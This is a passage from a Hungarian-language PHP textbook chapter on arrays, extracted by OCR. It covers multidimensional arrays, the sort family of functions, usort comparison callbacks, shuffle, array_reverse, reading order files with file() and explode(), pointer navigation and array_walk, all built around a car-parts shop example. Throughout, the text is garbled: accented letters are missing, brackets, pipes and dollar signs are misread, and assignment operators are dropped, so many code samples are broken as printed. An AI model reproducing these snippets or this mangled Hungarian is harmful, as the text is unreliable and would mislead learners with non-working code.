A tmbk nem szksgszeren csak kulcsok s rtkek egyszer listi; a tmb minden egyes eleme akr egy msik tmbt is
trolhat. gy hozhatunk ltre ktdimenzis tmbket. Az ilyen tmbket mtrixknt kpzelheljk el, amelynek szlessge s
magassga is van - ezek a sorok s az oszlopok.
Ha egynl tbb adatot szeremnk trolni a Bob ltal forgalmazott termkekrl, ktdimenzis tmbt kell hasznlnunk.
A 3.3 brn ktdimenzis tmbknt ltjuk Bob termkskljt, amelyben a sorok egy-egy termket, az oszlopok az eltrolt
termkjellemzt tartalmazzk.

\"

60

3. fejezet

Kd

Megnevezs

TIR

Gumiabroncs

100

OIL

Olaj

10

SPK

Gyertya

termkjellemz

3.3 bra: Egy ktdimenzis tmbben tbb informcit trolhatunk Bob termkeirl.

Az albbi PHP kddal hozharjuk ltre a 3.3 brn lthat tmbt:


$termekek = array( array( 'TIR',

'Gumiabroncs',

array( 'OIL',

'Olaj',

array( 'SPK',

'Gyertya',

100 ) ,

10 ),
4 ) );

Ebbl a meghatrozsbl lthat, hogy a$ termekek tmb most hrom tmbt tartalmaz.
Emlkezhetnk r, hogy egydimenzis tmbkben lv adatok elrshez a tmb nevre, illetve az elem indexre van szk
sg. A dolog ktdimenzis tmb esern is hasonlan mkdik annyi klnbsggel, hogy nnden elem kett, egy sor- s egy
oszlopindexszel br. (A legfels sor a O. sor, a bal szls oszlop pedig a O. oszlop.)
Ha ennek a tmbnek az elemeit kellene megjelentennk, a kvetkezkppen rnnk el az egyes elemeket:
echo 'l'.$termekek[O] [0].'l' .$termekek[0)[1).' l'.$termekek[0)[2).' l<br />';
echo

'l' .$termekek[1)[0).'l'.$termekek[l) [l).' l'.$termekek[1)[2).'l<br />';

echo 'l'.$termekek[2)[0).'l'.$termekek(2] (l].' l'.$termekek(2] (2].'l<br />';

Egy

for

ciklusba egy msik

for ($sor = 0;

for

$sor < 3;

for ($oszlop = 0;

ciklust helyezve sokkal elegnsabban is elrhetjk ugyanezt az eredmnyr:

$sor++)

$oszlop < 3;

(
$oszlop++)

echo 'l'.$termekek[$sor) [$oszlop);


echo 'l<br />';

Mindkt kd ugyanazt a kimenetet eredmnyezi bngsznkben:


ITIRIGumiabroncsl1001
IOILIOlajl101
ISPKIGyertyal41

A kt pldakd kztt az az egyetlen, m nem elhanyagolhat klnbsg, hogy nagyobb tmb esetn a msodik vltozat
sokkal kevesebb gpelst ignyel.
rdemes lehet az oszlopoknak a szmok helyett nevet adni, ahogy ezt a 3.3 brn is ltjuk. Ha ugyanezeker a termkeker
a 3.3 brn lthat oszlopnevekkel szeretnnk eltrolni, az albbi kdot kellene megrnunk:
$termekek = array( array( 'Kod' => 'TIR',
'Megnevezes' => 'Gumiabroncs',
'Ar' => 100
)'
array( 'Kod' => 'OIL',
'Megnevezes' => 'Olaj',
'Ar' => 10
)'
array( 'Kod' => 'SPK',
'Megnevezes' => 'Gyertya',
'Ar' =>4
);

Ez a tmb egyszerbben kezelhet, ha egyetlen rtket szeretnnk visszakeresni. Knnyebb megjegyezni, hogy a megne
vezst a "Megnevezs" oszlopban troljuk, mintsem azt, hogy az l. oszlopban. Ha beszdes nev indexeket hasznlunk, nem
szksges megjegyezni, hogy egy adott elemet az [xJ [yJ helyen trolunk. Knnyedn megtalljuk a keresett adatot, ha rtelmes
sor- s oszlopnevekkel hivatkezunk a trolsi helyre.

Tmbk hasznlata

61

Ezzel azonban elvesztjk annak lehetsgt, hogy egyszer for ciklussal egyenknt vgiglpdeljnk az oszlopokon. Nz
zk meg e tmb megjelentsnek egy lehetsges mdjt:
for (

$sor

echo

0; $sor < 3; $sor+ +} {

'l'.$termekek[$sor] [ 'Kod' l.' l'


.$termekek[$sor] [ 'Megnevezes'].
'l' .$termekek($sor] ['A r'].'l<br />';

Egy for ciklussal vgiglpkedhetnk a kls, numerikusan indexelt$ termekek tmbn. Ennek a tmbnek minden sora
ler nev indexekkel rendelkezik. Egy while ciklusba helyezett each}
(
list
s
(}

fUggvnnyel lpkedhetnk vgig a bels

tmbkn.
Ezek szerint egy while ciklusra van szksgnk a for ciklusban:
for (

$sor

0; $sor < 3; $sor+ +} {

while l
(
ist(

$kulcs,

$ertek}

each(

$termekek[$sor]}}

echo "l$ertek";

echo 'l<br />';

Nem szksges megllnunk kt dimenzinl. Ugyangy, ahogy a tmbelemek tmbket is tartalmazhatnak, ezekbe a tm
bkbe is rakharunk jabb tmbket.
Egy hromdimenzis tmbnek magassga, szlessge s mlysge is van. Ha a ktdimenzis tmbkre oszlopokbl s so
rokbl ll tblzatknt gondolunk, akkor kpzeljk el, ahogy ezeket a tblzatokat egymsra pakoljuk! Az egyes elemekre
azok rtege, sora s oszlopa alapjn hivatkozhatunk.
Ha Bob kategrikra bontan termkeit, hromdimenzis tmbben trolhatn azokat. A 3.4 bra hromdimenzis tmb
ben mutatja a Bob ltal forgalmazott termkeket.

t ll

'0

zo

}:J

Teberaut-alkatraak

Kd

Kd

AataJka

l--lr

l--l-

Gumiabroncs

100

t--

CAR_OIL

Olaj

10

CAR_SPK

Gyerrya

Kd

1[

Met!Devez&

Kiateheraut-alkalrisulr.

Megnevez&

CAR_TIR

termkjellemz

3.4 bra: A

hromdimenzis tmbben mr kategrik szerint is csoportosthatjuk a termkeket.

Az ezt a tmbt meghatroz kdbl lthatjuk, hogy egy hromdimenzis tmb tmbk tmbjt tartalmazza:
$kategoriak

array(

array (

array(

'CAR_I
T R',

'Gumiabroncs',

array(

'CAR_OIL',

'
laj',
O

array(

'CAR_SPK',

'Gyertya',

array(

'VAN-I
T R',

'Gumiabroncs',

array(

'VAN_OIL',

'
laj',
O

array(

'VAN-SPK',

100} ,

10 } ,
4}

'

array (

120 ) '

12 } '
'Gyertya', 5}

} '
array (

array(

'TRK_TIR',

'Gumiabroncs',

array(

'TRK_OIL',

'
laj',
O

array(

} ;

15} '

-SPK', 'Gyertya',

'TRK

6}

150} '

62

3. fejezet

Mivel ez a tmb csak numerikus indexeket tartalmaz, begyazort for ciklusokkal jelenthetjk meg a tartalmr:
Sreteg < 3;

for ($reteg = 0;

Sreteg++)

echo "Rteg $reteg<br />";


$sor < 3;

for ($sor = O;
for ($oszlop

0;

$sor++)

$oszlop < 3;

{
$oszlop++)

echo 'l' .$kategoriak[$reteg] [$sor] [$oszlop];


echo ' l<br />';

A tbbdimenzis tmbk ltrehozsi mdja lehetv teszi ngy-, t- vagy akr hatdimenzis tmb megalkotst is. A prog
ramozsi nyelv szempontjbl nincsen korltja a dimenzik szmnak, m hromnl tbb dimenzij szerkezeteket nehezen
rodunk vizulisan magunk el kpzelni. A vals vilgban jelentkez problmk legtbbje hrom vagy kevesebb dimenzival
kezelhet.

Tmbk rendezse
Gyakran jl jhet, ha rendezni rodjuk az egy tmbben lev, egymssal sszefgg adatokat. Egydimenzis tmb esetn ezt igen
knnyen megtehetjk.

A sort () fiiggvny hasznlata


A sort() fggvnyt bemutat kvetkez kd eredmnye egy bcrend szerint nvekv sorrendben lv tmb:
$termekek

array( 'Gyertya',

'Gumiabroncs',

'Olaj ' ) ;

sort($termekek);

A tmb elemei mostantl a Gumiabroncs, Gyertya, Olaj sorrendben jelennek meg.


Az rtkeket numerikusan is rendezhetjk. Amennyiben tmbnk Bob termkeinek az rt tartalmazza, a kvetkezkppen
rendezhetjk nvekv szmsorrendbe:
$arak = array( 100,

10,

4 );

sort($arak);

Az rak ekkor a 4, 10, 100 sorrendben jelennek meg.


rdemes megjegyezni, hogy a sort () fggvny megklnbzteti a kis- s nagybetket. A nagyberuk az sszes kisbett
megelzik. Vagyis az A a Z eltt van, s a Z is megelzi az a-t.
A fggvny egy opcionlis msodik paramterrel is rendelkezik. Az albbi llandk valamelyikt adhatjuk neki: SORT_
REGULAR (ez az alaprtelmezert), SORT_NUMERIC s SORT_STRING. A lehetsg. hogy megadjuk a rendezs tpust, akkor

nyer rtelmet, ha szmokat tartalmaz karakterlncokat- pldul 2 s 12


a 12, de szeringknt a

hasonlrunk ssze. A 2 szmszeren kisebb, mint

12 ' megelzi a , 2 '-t.

Tmbk rendezse

a sort

() s ksort () fiiggvnyekkel

Amennyiben jelentssei br kulcsokat hasznl tmbben troljuk el az rucikkeket s azok rt, msmilyen rendez fggvnyt
kell vlasztanunk ahhoz, hogy a kulcsok s az rtkek rendezs kzben is egytt maradjanak.
A kvetkez kd hrom termket s azok rt tartalmaz tmbt hoz ltre, majd rak szerint nvekv sorrendbe rendezi
a tmbt:
$arak = array( 'gumiabroncs'=>lOO,

'olaj '=>10,

'gyertya'=>4 );

asort($arak);

Az asort () az elemek rtke szerint rendezi a tmbt. Ebben a tmbben az rak az rtkek, a kulcsok pedig a sz
veges lersok. Ha r helyert cikknv szerint kvnunk rendezni, a ksort () fggvnyt hasznljuk, amely az rtk helyert
a kulcsot tekinti a rendezs alapjnak. A kvetkez kd eredmnyeknt a tmb kulcsai lesznek bcrend szerint rendezve Gumiabroncs,

Gyertya,

$arak = array(
ksort($arak);

Olaj:

'gumiabroncs'=>100,

'olaj '=>10,

'gyertya'=>4

);

Tombk hasznlata

63

Fordtott rendezs
A hrom klnbz rendez fggvny- sort(},asort (} s ksort (} - emelked sorrendbe rendezi a tmbt. Mind
egyik fggvnynek ltezik egy prja, amely fordtott sorrend szerint- azaz cskken sorrendbe - rendezi a neki radott tm
bt. Ezek neve rsort (}, arsort (} s krsort(}.
A fordtott sorrend szerint rendez fggvnyeket az emelked sorrendbe rendez prjukkal egyez mdon hasznljuk. Az
rsort(} fggvny egydimenzis, numetikusan indexelt tmbt rendez cskken sorrendbe. Az arsort (} fggvny az egyes

elemek rtke, a krsort (}pedig az egyes elemek kulcsa alapjn rendezi cskken sorrendbe az egydimenzis tmbket.

Tbbdimenzis tmbk rendezse


Az egynl tbb dimenzis tmbk rendezse, illetve az bcrendrl s a szmsorrendtl eltr elv alapjn trtn rendezs
ennl bonyolultabb feladat. A PHP kpes ugyan sszehasonltani kt szmot vagy kt karakterlncot, de tbbdimenzis tmb
esetn az egyes elemek maguk is tmbk. A PHP nem tudja, mi alapjn hasonltson ssze kt tmbt, gy mi magunknak kell
ellltani az sszehasonltsuk mdszert. A szavak vagy szmok sorrendje az esetek tbbsgben viszonylag magrl rtet

d, m sszetettebb objektumok esetn problmsabb vlhat a rendezs.

Felhasznl ltal meghatrozott rendezs


Az albbi kdrszlet a korbban hasznlt ktdimenzis tmb meghatrozsa. A tmb kddal, megnevezssel s rral egytt
trolja el a Bob ltal forgalmazott hrom termket:
$termekek

array( array( 'TIR',

'Gumiabroncs',

'OIL',

'Olaj',

array(

'SPK'

'Gyertya',

100 } ,

10 },

array(

4 } };

Ha rendezzk ezt a tmbt, milyen sorrendben jelennek meg az rtkek Mivel tudjuk, mit jelent a tmb tartalma, legalbb
ktfle rtelmes sorrend ltezik. Hasznos lehet a termkeket megnevezsk szerint bcrendbe vagy ruk szerint numeriku
san rendezni. Mindkt rendezs lehetsges, de az usort(} fggvnyt kell hasznlnunk, s kzlni kell a PHP-vel, hogyan
hasonlrsa ssze az elemeket. Ehhez sajt sszehasonlt fggvnyt kell rnunk.
A kvetkez kd a tmb msodik oszlopt, a megnevezst hasznlva rendezi bcrendbe tmbnket:
function osszehasonl itas ($x,
if ($x[l)

==

$y} l

$y[l)} l

return 0;
else if

($x[l)

<

$y[l)}

return -1;
else

return l;

usort($termekek,

1 osszehasonli tas 1} ;

A knyv eddigi rszben szmos beptett PHP fggvnyt hvtunk meg. Tmbnk rendezshez definilnunk kell sajt
fggvnynket. A fggvnyrssal rszletesen foglalkozunk majd aKdok

tbbszrifelhasznlsa s fggvnyrs cm 5. fejezet

ben, ezrt tekintsk az albbiakat pusztn rvid bevezetsnek!


Fggvnyt a function kulcsszval definilunk. rdemes fggvnyeinknek rtelmes nevet adni, jelen esetben nevezzk
pldul osszehasonl itas(} -nak! A fggvnyek tbbsge paramterrel mkdik. Ez az osszehasonli tas(} fggvny
kt paramtert fogad: az egyiknek $x, a msiknak $y a neve. A fggvny clja nem ms, mint hogy vesz kt rtket, s megha
trozza sorrendjket.
Pldnkban az $x s az $y a f tmbn belli kt tmb, amely egy-egy termket jelkpez. Az $x tmb Megnevezes ele
mr az $x[l) kddal rjk el, hiszen a Megnevezes a tmb msodik eleme, a szmozs pedig nullval kezddik. Az $x[l)
s $y [l) kifejezsekkel sszehasonlthatjuk a fggvnynek a tmb ltal radott megnevezseket.
Amikor a fggvny vget r, vlaszt ad az t meghv kdnak. Ezt nevezzk a fggvny
hoz a return kulcsszt hasznljuk a fggvnyben. A return l;

visszatrsi rtknek. Meghatrozs

sor az l-es rtket adja vissza a fggvnyt meghv kdnak.

Ahhoz, hogy az usort(} hasznlhassa, az osszehasonlitas(} fggvnynek ssze kell hasonltania $x-et s $y-t.
A fggvny visszatrsi rtke O legyen akkor, ha $x s $y egyenl, negatv szm, ha $x a kisebb, s pozitv, amennyiben az
a nagyobb. A fggvny visszatrsi rtke $x s $y rtktl fgg en O, l vagy -l.

64

3. fejezet

A kd utols sora az usort () beptert fggvnyt hvja meg, paramterknt a rendezni kvnt tmbt ( Stermekek) s az
sszehasonlt fggvnyt ( osszehasonlitas ())tadva neki.
Ha mshogyan szeremnk rendezni a tmbt, egyszeren msmilyen sszehasonlt fggvnyt runk neki. r szerinti ren
dezshez a tmb harmadik oszlopt kell venni, s az albbi sszehasonlt fggvnyt kell megrni:
function osszehasonlitas($x,
if ($x[2]

==

$y[2])

$y)

return 0;
else if ($x[2]

<

$y[2])

return -l;
else {
return l;

Meghvsakor az usort($termekek,

'osszehasonl tas') r szerint emelked sorrendbe rendezi a tmbt.

Ha tesztels gyannt Juttatnnk ezeket a kdrszleteket, semmilyen kimenetet nem kapnnk. Ezek a kdok egy
nagyobb programba valk.
Megjegyzs:

Az usort () fggvny nevben lev

az angol

user, vagyis felhasznl szra utal, jelezvn, hogy hasznlathoz felhasznl

ltal megrt sszehasonlt fggvnyre van szksg. Az asort s ksort fggvny fordtort sorrend szerint rendez vltozata,
az uasort() sazuksort () is ignyli a felhasznl ltal definilt, sszehasonlt fggvnyeket.
Az asort() fggvnyhez hasonlan az uasort() fggvnyt is nem numerikusan indexelt tmb rtk szerinti rendezs
hez hasznljuk. Az elbbi akkor alkalmazhat, ha az rtkek egyszer szmok vagy szveg. Ha az rtkek sszetertebb objek
tumok, pldul tmbk, akkor definiljunk sszehasonlt fggvnyt, majd hasznljuk az uasort () fggvnyt!
A ksort () fggvnyhez hasonlan az uk sort () fggvnyt is nem numerikusan indexelt tmb kulcs szerinti rendez
shez hasznljuk. Az elbbit akkor vegyk ignybe, ha a kulcsok egyszer szmok vagy szvegek! Ha a kulcsok sszetertebb
objektumok, pldul tmbk, akkor definiljunk sszehasonlt fggvnyt, majd hasznljuk az uasort() fggvnyt!

Felhasznli rendezs fordtott sorrendben


A sort(),a sort() s ksort( ) fggvnynek megvan a cskken sorrendbe rendez prja- nevben egy

r betvel. A fel

hasznl ltali rendezseknek nincsen fordtort vltozata, ennek ellenre fordtort sorrendbe is rendezheg k a tbbdimenzis
tmbket. Mivel az sszehasonlt fggvnyt mi magunk llig uk el, megrhatjuk gy, hogy ellentert rtkkel trjen vissza.
Cskken sorrend szerinti rendezshez fggvnynk visszatrsi rtke akkor legyen l, ha $x kisebb, mint $y, s akkor legyen
- l , ha $x nagyobb, mint $y. Pldul:
function fordtott_osszehasonlitas($x,
if (Sx[2]

==

$y[2])

$y)

return 0;
else if ($x[2]

<

$y[2])

return l;
else

return -1;

Az usort($termekek,

'ford tott_osszehasonl tas') meghvsa ekkor azt eredmnyezi, hogy a tmb r sze

rint cskken sorrendbe lesz rendezve.

Tmbk trendezse
Elfordulhat, hogy bizonyos alkalmazsokhoz mshogyan szeretnnk kezelni a tmb elemeinek sorrendjt. A shuffle ( )
fggvny vletlenszer sorrendbe rakja a tmbelemeket. Az array_reverse( ) fggvny az eredeti tmb msolatt adja visz
sza, amelyben az elemek fordtott sorrendben szerepelnek.

Tombk hasznlata

65

A shuffle ( ) fggvny hasznlata


Bob szereme kiemelni nhny termket honlapjnak nyitoldaln. Szles termkvlasztkot knl, m azt akarja, hogy a nyit

oldalon csak hrom, vletlenszeren kivlasztott elem jelenjen meg. Hogy a trzsvendgeket ne untassa, azt szeretn, hogy ez
a hrom kivlasztott termk minden ltogatsnl ms s ms legyen. Cljt egyszeren elrheti, ha termkeit egyetlen tmbbe
rakja. A 3.1 pldakd hrom, vletlenszeren kivlasztott kpet jelent meg azzal, hogy vletlenszer sorrendbe rendezi a tm
bt, majd megjelenti els hrom elemr.
3.1 pldakd: bob_nyi to_oldala.php -Din amikus nyitoldalltrehozs a PHP-vel Bob alkatrsz-kereske ds hez
<?php
Skepek

array('abroncs.jpg',

'gyujto_gyertya.jpg',

'kormanykerek.jpg',
'ablaktorlo_lapat.jpg',
'fekbetet.jpg');

shuffle ($kepek);
?>
<html>
<he ad>
<title>Bob autalkatrszek</t itle>
</head>
<body>
<hl> Bob autalkatrszek</hl>
<div align="center">
<table width = 100%>
<tr>
<?php
for ($i = 0;

Si < 3;

$i++) {

echo "<td align=\"center\"><img src=\"";


echo $kepek[$i];
echo "\"/></td>";
?>
</tr>
</table>
</div>
</body>

Mivel a kd vletlenszeren vlaszt kpeket, szinte minden egyes betltskor ms s ms oldalt ltunk (3.5 bra).

Bob autalkatrszek

9--3.5 bra: A shuffle()fggvnnyellehetv vlik, hogyki emeljnkhrom, vletlenszeren kv


i laszt ott t ermket.

66

3. fejezet

Az array_reverse ( ) fggvny hasznlata


Az array_reverse() fggvny fogja az adott tmbt, s ugyanazzal a tartalommal, m az elemeket fordtott sorrendbe
rakva ltrehoz egy jat. Tbbflekppen lltharunk el pldul egy 10-tl l-ig val visszaszmllst tartalmaz tmbt.
A range() hasznlata ltalban emelked sorrendet eredmnyez, amit az array_reverse () vagy az rsort( ) fgg
vnnyel rendezhetnk fordtort sorrendbe. A tmbt elemenknt is elllthatjuk for ciklus segtsgve!:
$szamok = array();
for($i=10;

$i>O;

$i--)

array_push($szamok,

{
$i);

A for ciklus a kvetkezkppen eredmnyezhet cskken sorrendet: megadunk egy nagy kezdeti rtket, majd a ciklus
minden egyes lefutsnak vgn eggyel cskkentjk a -- mveleti jellel.
Irt ltrehozunk egy res tmbt, majd az elemeket az array_push() fggvnnyel hozzadjuk a rmbhz, mindegyiket
annak vghez. (Zrjelben jegyezzk meg, hogy az array_push () ellentte az array _pop () fggvny. Ez a fggvny elt
voltja az adort tmb vgn lv elemet, s visszatrsi rtke is ez az eltvoltort elem lesz.)
Hasznlhatjuk az array_reverse( ) fggvnyt is, amivel megfordthatjuk a range() fggvnnyel ltrehozort tmbben
az elemek sorrendjt:
$szamok = range(l,lO);
$szamok = array_reverse($szamok);

Ne feledjk, hogy az array_reverse ( ) a tmb mdosrott msolatval tr vissza! Ha nincsen szksgnk az eredeti
tmbre, mint ahogy az a pldban is volt, akkor a msolarot egyszeren rjuk az eredetibel
Ha adaraink egyszeren egsz szmok egy tartomnya, akkor fordtort sorrendben gy llthatjuk ket el, ha a r ange ()
opcionlis lpskz-paramternek a -l-et adjuk meg.
$szamok = range(lO,

l,

-1);

Tombk feltltse fjlokbl


Az Adatok trolsa s visszakeresse cm 2. fejezetben megtanultuk, hogyan troljuk az gyfelek megrendelseit fjlban. Ennek
az llomnynak minden sora a kvetkezhz hasonlan nzert ki:
15:42,

20th April 4 gumiabroncs

l olaj

6 gyertya $434,00 22 Short St,

Smalltown

A megrendels feldolgozshoz vagy teljestshez szksg lehet arra, hogy visszatltsk egy tmbbe. A 3.2 pldakd a meg
rendelsi fjl jelenleg vltozatt mutatja.
3.2 pldakd: rendelesek_megtekintese. php-Bob

megrendelseinek megjelentse PHP-vel

<?php
//rvid vltoznevek ltrehozsa
$DOCUMENT_ROOT

$ SERVER['DOCUMENT_ROOT');

$rendelesek= file("$DOCUMENT_ROOT/../rendelesek/rendelesek.txt");
$rendelesek_szama = count($rendelesek);
if ($rendelesek szama

==

0)

echo "<p><strong>Nincs fligg6 megrendels.


Krjk,

for ($i=O;

prblkozzon ks6bb!</strong></p>";

$i<$rendelesek_szama;

$i++)

echo $rendelesek[$i) ."<br />";

Ez a kd majdnem teljesen ugyanazt a kimeneter produklja, mint az elz fejezer 2.3-as pldakdja (kimenete a 2.4 brn
volt lthat). Ez alkalommal a kd a file() fggvnyt hasznlja, ami a reljes fjlt egy tmbbe rlri be. A fjl minden egyes sora
a tmb egy-egy eleme lesz. A kd a count() fggvny hasznlarval llaptja meg, hogy hny elembl ll a tmb.

Tmbk hasznlata

67

A megrendelsi sorok egyes rszeit elklntve is betlthetjk a fjlt, kln tmbelemekbe helyezve a tartalmat. Ez lehetv

teszi az egyes rszek elklntett feldolgozst, illetve tetszetsebb formzst. A 3.3 pldakd pontosan ezt vgzi el.
3.3 pldakd: rendelesek_megtekintese2.php-Bob megrendelseinek elklntse,formzsa s megjelentse PHP-vel
<?php
//rvid vltoznevek ltrehozsa
$DOCUMENT_ROOT

S_SERVER['DOCUMENT_ROOT');

?>
<html>
<he ad>
<title>Bob autalkatrszek - Megrendelsek</title>
</head>

J'

<body>

<hl>Bob autalkatrszek</hl>
<h2> Megrendelsek</h2>
<?php

\.

//A teljes fjl beolvassa.


//Minden megrendels a tmb egy-egy eleme lesz.
Srendelesek= file("$DOCUMENT_ROOT/../rendelesek/rendelesek.txt");

ll Megszmolja a tmbben lev rendelseket.


$rendelesek_szama

count($rendelesek);

if ($rendelesek_szama

==

0)

echo "<p><strong> Nincs fgg rendels.


Krjk,

prblkozzon ksbb!</strong></p>";

echo "<table border=\"1\">\n";


echo "<tr><th bgcolor=\"ICCCCFF\">Rendels idpontja</th>
<th bgcolor=\"ICCCCFF\">Gumiabroncs</th>
<th bgcolor=\"ICCCCFF\">Olaj</th>
<th bgcolor=\"ICCCCFF\">Gyertya</th>
<th bgcolor=\"ICCCCFF\">Vgsszeg</th>
<th bgcolor=\"ICCCCFF\">Szllitsi cim</th>
<tr>";
for ($i=O;

$i<$rendelesek_szama;

Si++)

//Az egyes sarok felbontsa.


$sor = explode("\t",

$rendelesek[$i));

ll Csak a rendelt elemek mennyisgt tartja meg.


$sor[l)

= intval($sor[l));

$sor[2)

intval($sor[2]);

$sor[3)

intval($sor[3]);

ll Minden megrendels megjelenitse.


echo "<tr>
<td>".$sor[O] ."</td>
<td align=\"right\">".$sor[l) ."</td>
<td align=\"right\">".$sor[2)."</td>
<td align=\"right\">".$sor[3)."</td>
<td align=\"right\">".$sor[4)."</td>

68

3. fejezet

<td>".$sor[5]."<ltd>
</tr>";

echo "</table>";
?>
</body>

A 3.3 pldakd a teljes fjlt egy tmbbe tlti be, de a 3.2 pldakddal ellenttben itt az explode () fggvnnyel sztbont
juk a sorokat, hogy nyomtats eltt feldolgozzuk s formzzuk tartalmukat. A kd kimenett a 3.6 brn lthaguk.

IIO:rrf _..-

-:::-"

Bob autalkatrszek
Meerendelfuk

(;'9-z! ...
4
l
ji"JO
. .liM.do}OOI)
S04.00o1l5iai.SI.

4l,lla:l001

SIOOJJ01M.ioa.t,

s.u;

ll7 ,A"_St,

3.6 bra: A megrendelsi rekordok explode () fggvnnyel val sztbontsa utn a megrendelsek minden rszt kln-kln tb
lzatcellba helyezve tetszetsebb kimenetet kapunk.

Az explode fggvny az albbi prototpussal rendelkezik:


array explode(string elvalaszto, string szoveg [, int limit])

Az elz fejezetben tabultort hasznlrunk a trolni kvnt adatokat elvlaszt karakterknt, ezrt a kvetkez formban
kell meghvni a fggvnyt:
explode( "\t", $rendelesek[$i] )

Ez a kd rszekre bontja a bevitt karakterlncot. A tabultor karakter lesz a szomszdos elemek kztri elvlaszt. Pldul
a kvetkez sztringet:
"20:43, 31st March 2008\tO gumiabroncs\t1 olaj\t4 gyertya\t$26,00\t127 Acacia St,
Springfield

az albbi rszekre bontja a fggvny:


"20:43,

31st March 2008","0 gumiabroncs","1 olaj","4 gyertya","$26,00" &"127 Acacia St,

Springfield".

rdemes megjegyezni, hogy az opcionlislimit paramterrel korltozhaguk a fggvny ltal visszaadott rszek maximlis
szmt.
Ez a kd nem igazn alkalmas a megrendelsek feldolgozsra. Ahelyett, hogy minden sorba Icirja a gumiabroncsokat, az
olajat s a gyertykat, a plda csak megjelenti a rendelsi mennyisgeket, s a tblzat fejlcben tjkoztat arrl, hogy mit je
lentenek a szmok.
Tbbflekppen Icinyerhetnnk a karakterlncokbl a szmokat. Jelen esetben az intval () fggvnyt vlaszguk erre.
Ahogy az l. fejezetben elmondtuk, ez a fggvny egsz szmm alaktja a karakterlncokat. Az talakts kellen intelligens, s
figyelmen kvl hagyja azokat a rszeket- gy jelen pldban a cmkt-, amelyeket nem lehet egsz szmm konvertlni. A ka
rakterlncok feldolgozsnak klnfle mdjaival a kvetkez fejezetben foglalkozunk majd.

Tovbbi tmbkezelsi eljrsok


Idig a tmbkezel fggvnyek mintegy felvel ismerkedtnk meg. Idrl idre a tbbire is szksgnk lehet, ezrt kzlk
a fontosabbakat most bemutaguk.

Tombk hasznlara

69

Tmbn belli nav igls: each (),current (),res et (),end (),next (),pos ()
s prev () fggvny
Ernlrettk korbban, hogy minden tmb egy bels mutatval {pointer} rendelkezik, amely az aktulis elemre mutat. Korb
ban, amikor az each() fggvnnyel dolgoztunk, kzvetve mr hasznltuk ezt a mutatt, m kzvetlenl is kezdhetjk.
j tmb ltrehozsakor az aktulis mutat a tmb els elemre mutat. A current($tomb_neve) fggvny meghvsa az
els elemmel tr vissza.
A next() vagy az ea ch () fggvny meghvsa eggyel elre, a kvetkez elemre lpteti a mutatt. Az each($tomb_
neve) meghvsa a mutat elrelptetse eltt adja vissza az aktulis elemet. A next() fggvny ettl kiss eltren viselke

dik: a next($tomb _neve) elrelpteti a mutatt, majd az j aktulis elemet adja vissza.

Korbban lthattuk, hogy a reset() a tmb els elemre kldi vissza a mutatt. Ennek prja az end($tomb_neve),
amelynek meghvsval a tmb vgre kldjk a mutatt. Ennek megfelelen a tmb els, illetve utols elemr a reset() s
end ( ) fggvnnyel kaphatjuk vissza.

Ha fordtva szeretnnk bejrni egy tmbt, az end () s prev () fggvnyt kell hasznlnunk. A prev() fggvny
a next( ) ellentettje. Eggyel visszbb lpteti a mutatt, majd ezt az j aktulis elemet adja vissza.
A kvetkez kd pldul fordtott sorrendben jelent meg egy tmbt:
$ertek

end ($tomb);

while ($ertek) {
echo "$ertek<br />";
$ertek

prev($tomb);

A $tomb tmbt pldul a kvetkezkppen deklarljuk:


$tomb

array(l,

2,

3);

Ebben az esetben a fenti kd bngszbeli kimenere a kvetkez lenne:


3
2

Az each(),current(),reset(),end(),next(),pos () s prev () fggvnnyel tmbjeinket az ltalunk kivnt tet


szleges mdon bejr kdot hozharunk ltre.

Fggvny alkalmazsa egy tmb minden egyes elemre: array_walk ()


Elfordulnak olyan helyzetek, amikor egy tmb nnden elemvel ugyangy kvnunk dolgozni, vagy ugyangy mdostannk
azokat. Az array_ wa lk() fggvny pontosan ezt teszi lehetv. Prototpusa a kvetkez:
bool array_walk(array tomb,

string fuggveny,

[mixed felhasznaloi_adat])

A korbban hasznlt usort () fggvnyhez hasonlan az array_walk() is megkveteli, hogy sajt fggvnynket dek
larljuk. Lthat, hogy az array_ wa lk() hrom paramtert fogad. Az els, a tomb a feldolgozni kvnt tmb. A msodik,
fuggveny nev paramter a felhasznl ltal definilt fggvny, amit a tmb minden elemre alkalmazni kvnunk. A har

madik, felhasznaloi_adat nev paramter opcionlis. Amennyiben hasznljuk, fggvnynk paramterknt megkapja.
Rvidesen ltni fogjuk, mindez hogyan mkdik.
A felhasznl ltal definilt gyes kis fggvny lehet olyan, amely a tmb nnden elemr meghatrozott formzssal jelenti
meg. A kvetkez kd a felhasznl ltal megrt sa j at_kiiratas () fggvnyt a $tomb minden elemvel meghvva j sor
ban jelenti meg az egyes elemeket:
function sajat_kiiratas($ertek) (
echo "$ertek<br />";

array_walk ($tomb,

'saJat_kiiratas');

A felhasznl, vagyis a mi magunk ltal rt fggvnynek adott nntt kell kvetnie. A tmb nnden eleme esetn az array_
walk fggvny fogja a tmbben trolt kulcsot s rtket, illetve a felhasznaloi_adat paramterknt ltalunk megadott

valamit, s a kvetkezkppen hvja meg a fggvnyt:


sajat_fuggveny(ertek,

kulcs,

felhasznaloi_adat)

Fggvnynk az esetek tbbsgben csak a tmbben lev rtkeket fogja felhasznlni. Egyes helyzetek megkvetelherik,
hogy a felhaszna l oi_adat paramter segtsgvel valamilyen paramtert acljunk t fggvnynknek. Elfordulhat az is,

70

3. fejezet

hogy az rtk mellett az adott elem kulcsra is szksgnk van. Dnthetnk gy, hogy fggvnynk-a sa j at_ kiiratas ()
fggvnyhez hasonlan- figyelmen kvl hagyja a kulcsot s a felhas znaloi _adat paramtert.
Hogy lssunk egy kicsit sszetettebb pldt, rjunk olyan fggvnyt, amely mdostja a tmbben lv rtkeket, s mkd
shez paramtert vr! Br a kulcsra nem lenne szksgnk, a harmadik paramter fogadshoz a kulcsot is fogadnunk kell:
function sajat szorzo fuggveny(&$ertek,
$ertek

*=

$kulcs,

$szorzotenyezo) {

$szorzotenyezo;

array_walk(&$array,

'sajat szorzo fuggveny',

3);

A kd definilja a sa j at_szorzo_ fuggveny() fggvnyt, amely a tmb minden elemc megszorozza a megadott
szorztnyezvel. Hasznlnunk kell az array_wa lk ( ) harmadik, opcionlis paramtert, hogy az itt megadott rtket pa
ramterknt tovbbtsa a fggvnynek, amely szorztnyezknt fogja felhasznlni azt. Mivel szksg van erre a paramterre,
gy kell deklarlni a sajat_szorzo_fuggveny () fggvnyt, hogy hrom paramtert fogadjon: a tmb elemnek rtkt

